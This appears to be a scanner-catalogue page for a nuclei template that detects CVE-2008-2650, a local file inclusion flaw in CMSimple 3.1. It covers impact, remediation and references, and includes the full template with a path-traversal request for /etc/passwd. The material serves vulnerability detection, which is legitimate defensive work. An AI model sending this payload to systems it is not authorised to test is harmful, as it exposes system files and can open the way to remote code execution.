CVE-2008-2650· cmsimple / cmsimple· CWE-22
CMSimple 3.1 - Local File Inclusion
CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
Fix
Upgrade CMSimple to a patched version or apply the necessary security patches provided by the vendor.
How to confirm it
Send: GET /index.php?sl=../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2008-2650 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2008-2650
info:
name: CMSimple 3.1 - Local File Inclusion
author: pussycat0x
severity: medium
description: |
CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
remediation: |
Upgrade CMSimple to a patched version or apply the necessary security patches provided by the vendor.
reference:
- http://www.cmsimple.com/forum/viewtopic.php?f=2&t=17
- http://web.archive.org/web/20140729144732/http://secunia.com:80/advisories/30463
- https://nvd.nist.gov/vuln/detail/CVE-2008-2650
- https://exchange.xforce.ibmcloud.com/vulnerabilities/42792
- https://exchange.xforce.ibmcloud.com/vulnerabilities/42793
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2008-2650
cwe-id: CWE-22
epss-score: 0.18809
epss-percentile: 0.97305
cpe: cpe:2.3:a:cmsimple:cmsimple:3.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cmsimple
product: cmsimple
shodan-query: cpe:"cpe:2.3:a:cmsimple:cmsimple"
tags: cve,cve2008,lfi,cmsimple,vuln
http:
- raw:
- |
GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- http://www.cmsimple.com/forum/viewtopic.php?f=2&t=17
- http://web.archive.org/web/20140729144732/http://secunia.com:80/advisories/30463
- https://nvd.nist.gov/vuln/detail/CVE-2008-2650
- https://exchange.xforce.ibmcloud.com/vulnerabilities/42792
- https://exchange.xforce.ibmcloud.com/vulnerabilities/42793
Use this check only on systems you are authorised to test. Where the data comes from